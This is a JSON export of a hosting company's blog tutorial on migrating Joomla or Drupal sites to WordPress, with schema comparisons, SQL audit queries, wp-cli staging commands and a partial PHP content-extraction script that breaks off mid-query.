{"id":12710,"date":"2025-07-25T13:36:01","date_gmt":"2025-07-25T07:51:01","guid":{"rendered":"https:\/\/nestnepal.com\/blog\/?p=12710"},"modified":"2026-05-20T19:43:22","modified_gmt":"2026-05-20T13:58:22","slug":"migrating-a-joomla-or-drupal-site-to-wordpress","status":"publish","type":"post","link":"https:\/\/nestnepal.com\/blog\/migrating-a-joomla-or-drupal-site-to-wordpress\/","title":{"rendered":"Migrating a Joomla or Drupal Site to WordPress: Complete Tutorial"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Migrating from <a href=\"https:\/\/www.joomla.org\/\" target=\"_blank\" rel=\"noopener\">Joomla<\/a> or <a href=\"https:\/\/new.drupal.org\/home\" target=\"_blank\" rel=\"noopener\">Drupal<\/a> to <a href=\"https:\/\/nestnepal.com\/wordpress-hosting-in-nepal\/\">WordPress<\/a> isn&#8217;t just about moving content; it&#8217;s about restructuring entire data architectures, preserving SEO rankings, and ensuring zero downtime during the transition. This comprehensive guide covers everything from database schema mapping to advanced URL preservation techniques that most tutorials skip.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Whether you&#8217;re dealing with a simple blog migration or a complex enterprise site with custom modules, taxonomies, and user roles, this tutorial provides the deep technical knowledge needed for a successful migration.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Understanding the Complexity: Why CMS Migrations Are Challenging<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Database Architecture Differences<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Each CMS stores data differently, and understanding these differences is crucial for successful migration:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>WordPress Structure:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Posts and pages in the wp_posts table<\/li>\n\n\n\n<li>Metadata in wp_postmeta (key-value pairs)<\/li>\n\n\n\n<li>Taxonomies in wp_terms, wp_term_taxonomy, wp_term_relationships<\/li>\n\n\n\n<li>Simple user roles system<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Joomla Structure:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Content in #__content table<\/li>\n\n\n\n<li>Categories in #__categories (nested set model)<\/li>\n\n\n\n<li>Extensions store data in custom tables<\/li>\n\n\n\n<li>Complex user group hierarchies in #__usergroups<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Drupal Structure:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Nodes in the node table with revisions<\/li>\n\n\n\n<li>Field data spread across field_data_* tables<\/li>\n\n\n\n<li>Taxonomy terms in taxonomy_term_data<\/li>\n\n\n\n<li>Entity-based architecture with bundles<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Content Type Mapping Strategy<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Before starting any migration, create a comprehensive mapping document:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Source CMS<\/strong><\/td><td><strong>Content Type<\/strong><\/td><td><strong>WordPress Equivalent<\/strong><\/td><td><strong>Migration Method<\/strong><\/td><\/tr><tr><td>Joomla<\/td><td>Articles<\/td><td>Posts<\/td><td>Direct mapping<\/td><\/tr><tr><td>Joomla<\/td><td>Categories<\/td><td>Categories\/Tags<\/td><td>Hierarchy preservation<\/td><\/tr><tr><td>Joomla<\/td><td>Modules<\/td><td>Widgets\/Shortcodes<\/td><td>Manual recreation<\/td><\/tr><tr><td>Drupal<\/td><td>Basic Page<\/td><td>Pages<\/td><td>Direct mapping<\/td><\/tr><tr><td>Drupal<\/td><td>Custom Content Types<\/td><td>Custom Post Types<\/td><td>Plugin creation<\/td><\/tr><tr><td>Drupal<\/td><td>Views<\/td><td>Custom queries\/plugins<\/td><td>Manual recreation<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Pre-Migration Planning and Assessment<\/strong><\/h2>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img fetchpriority=\"high\" decoding=\"async\" width=\"250\" height=\"250\" src=\"https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/07\/image-26.png\" alt=\"\" class=\"wp-image-12712\" style=\"width:285px;height:auto\" srcset=\"https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/07\/image-26.png 250w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/07\/image-26-150x150.png 150w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/07\/image-26-80x80.png 80w, https:\/\/nestnepal.com\/blog\/wp-content\/uploads\/2025\/07\/image-26-110x110.png 110w\" sizes=\"(max-width: 250px) 100vw, 250px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Site Audit and Inventory<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Create a complete inventory of your current site:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Joomla site audit script<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>#!\/bin\/bash<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>JOOMLA_PATH=&#8221;\/path\/to\/joomla&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>DB_NAME=&#8221;joomla_db&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>echo &#8220;=== JOOMLA SITE AUDIT ===&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>echo &#8220;Articles count:&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>mysql -e &#8220;SELECT COUNT(*) FROM ${DB_NAME}.#__content WHERE state=1;&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>echo &#8220;Categories count:&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>mysql -e &#8220;SELECT COUNT(*) FROM ${DB_NAME}.#__categories WHERE published=1;&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>echo &#8220;Users count:&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>mysql -e &#8220;SELECT COUNT(*) FROM ${DB_NAME}.#__users;&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>echo &#8220;Installed extensions:&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>mysql -e &#8220;SELECT name, element, type FROM ${DB_NAME}.#__extensions WHERE enabled=1;&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>echo &#8220;Menu items:&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>mysql -e &#8220;SELECT title, link FROM ${DB_NAME}.#__menu WHERE published=1;&#8221;<\/em><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>SEO Impact Assessment<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Document all URLs that need preservation:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&#8212; Joomla URL extraction<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>SELECT&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;c.id,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;c.title,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;c.alias,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;cat.path as category_path,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>\u00a0\u00a0\u00a0\u00a0CONCAT(&#8216;\/&#8217;, cat. path, &#8216;\/&#8217;, c.alias) as full_url<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>FROM #__content c<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>LEFT JOIN #__categories cat ON c.catid = cat.id<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>WHERE c.state = 1;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&#8212; Drupal URL extraction&nbsp;&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>SELECT&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;n.nid,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;n.title,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;ua.alias,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;n.type<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>FROM node n<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>LEFT JOIN url_alias ua ON ua.source = CONCAT(&#8216;node\/&#8217;, n.nid)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>WHERE n.status = 1;<\/em><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Technical Requirements Analysis<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Identify advanced features that need special handling:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Complex Migrations Require:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Custom database queries for data extraction<\/li>\n\n\n\n<li>PHP scripts for content transformation<\/li>\n\n\n\n<li>URL mapping files for redirect management<\/li>\n\n\n\n<li>User role mapping and permission preservation<\/li>\n\n\n\n<li>Media file organization and optimization<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Setting Up the Migration Environment<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Development Environment Setup<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Never attempt migration on a live site. Set up proper staging:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Create WordPress staging environment<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>wp core download &#8211;path=\/var\/www\/staging<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>wp config create &#8211;dbname=wp_staging &#8211;dbuser=staging_user &#8211;dbpass=secure_pass &#8211;path=\/var\/www\/staging<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>wp core install &#8211;url=staging.yoursite.com &#8211;title=&#8221;Migration Staging&#8221; &#8211;admin_user=admin &#8211;admin_password=secure_pass &#8211;admin_email=admin@yoursite.com &#8211;path=\/var\/www\/staging<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Install essential migration plugins<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>wp plugin install wordpress-importer &#8211;activate &#8211;path=\/var\/www\/staging<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>wp plugin install redirection &#8211;activate &#8211;path=\/var\/www\/staging<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>wp plugin install custom-post-type-ui &#8211;activate &#8211;path=\/var\/www\/staging<\/em><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Database Preparation<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Create comprehensive backups and prepare migration databases:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Backup source databases<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>mysqldump joomla_db &gt; joomla_backup_$(date +%Y%m%d).sql<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>mysqldump drupal_db &gt; drupal_backup_$(date +%Y%m%d).sql<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># Create analysis database for migration work<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>mysql -e &#8220;CREATE DATABASE migration_analysis;&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>mysql migration_analysis &lt; joomla_backup_$(date +%Y%m%d).sql<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Joomla to WordPress Migration<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Phase 1: Content Extraction and Transformation<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Create a comprehensive PHP script for Joomla content extraction:<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&lt;?php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>\/\/ joomla-extractor.php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>class JoomlaToWordPressExtractor {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private $joomlaDB;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private $wpDB;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;public function __construct($joomlaConfig, $wpConfig) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;joomlaDB = new PDO(<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;mysql:host={$joomlaConfig[&#8216;host&#8217;]};dbname={$joomlaConfig[&#8216;db&#8217;]}&#8221;,&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$joomlaConfig[&#8216;user&#8217;],&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$joomlaConfig[&#8216;pass&#8217;]<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;wpDB = new PDO(<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;mysql:host={$wpConfig[&#8216;host&#8217;]};dbname={$wpConfig[&#8216;db&#8217;]}&#8221;,&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$wpConfig[&#8216;user&#8217;],&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$wpConfig[&#8216;pass&#8217;]<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;public function extractArticles() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$query = &#8220;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SELECT&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c.id,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c.title,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c.alias,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c.introtext,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c.fulltext,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c.created,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c.modified,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c.state,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c.catid,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c.created_by,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cat.title as category_title,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cat.alias as category_alias,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;u.username,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;u.email<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FROM #__content c<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LEFT JOIN #__categories cat ON c.catid = cat.id<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LEFT JOIN #__users u ON c.created_by = u.id<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WHERE c.state IN (1, 2)<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ORDER BY c.id<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt = $this-&gt;joomlaDB-&gt;prepare($query);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$stmt-&gt;execute();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $stmt-&gt;fetchAll(PDO::FETCH_ASSOC);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;public function transformContent($joomlaContent) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$content = $joomlaContent[&#8216;introtext&#8217;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (!empty($joomlaContent[&#8216;fulltext&#8217;])) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$content .= &#8220;\\n&lt;!&#8211;more&#8211;&gt;\\n&#8221; . $joomlaContent[&#8216;fulltext&#8217;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Transform Joomla-specific shortcodes<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$content = $this-&gt;transformShortcodes($content);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Fix image paths<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$content = preg_replace(&#8216;\/images\\\/\/&#8217;, &#8216;wp-content\/uploads\/&#8217;, $content);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Transform Joomla modules to WordPress shortcodes<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$content = preg_replace(&#8216;\/\\{module\\s+([^}]+)\\}\/&#8217;, &#8216;[joomla_module name=&#8221;$1&#8243;]&#8217;, $content);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $content;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function transformShortcodes($content) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Common Joomla to WordPress shortcode transformations<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$transformations = [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;\/\\{gallery\\}([^{]*)\\{\\\/gallery\\}\/i&#8217; =&gt; &#8216;&#8216;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;\/\\{youtube\\}([^{]*)\\{\\\/youtube\\}\/i&#8217; =&gt; &#8216;<a href=\"https:\/\/www.youtube.com\/watch?v=$1\" target=\"_blank\" rel=\"noopener\">https:\/\/www.youtube.com\/watch?v=$1<\/a>&#8216;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;\/\\{readmore\\}\/i&#8217; =&gt; &#8216;&lt;!&#8211;more&#8211;&gt;&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($transformations as $pattern =&gt; $replacement) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$content = preg_replace($pattern, $replacement, $content);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $content;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;public function insertIntoWordPress($articles) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($articles as $article) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$postContent = $this-&gt;transformContent($article);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$insertQuery = &#8220;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;INSERT INTO wp_posts (<\/em><\/p>\n\n\n\n<p 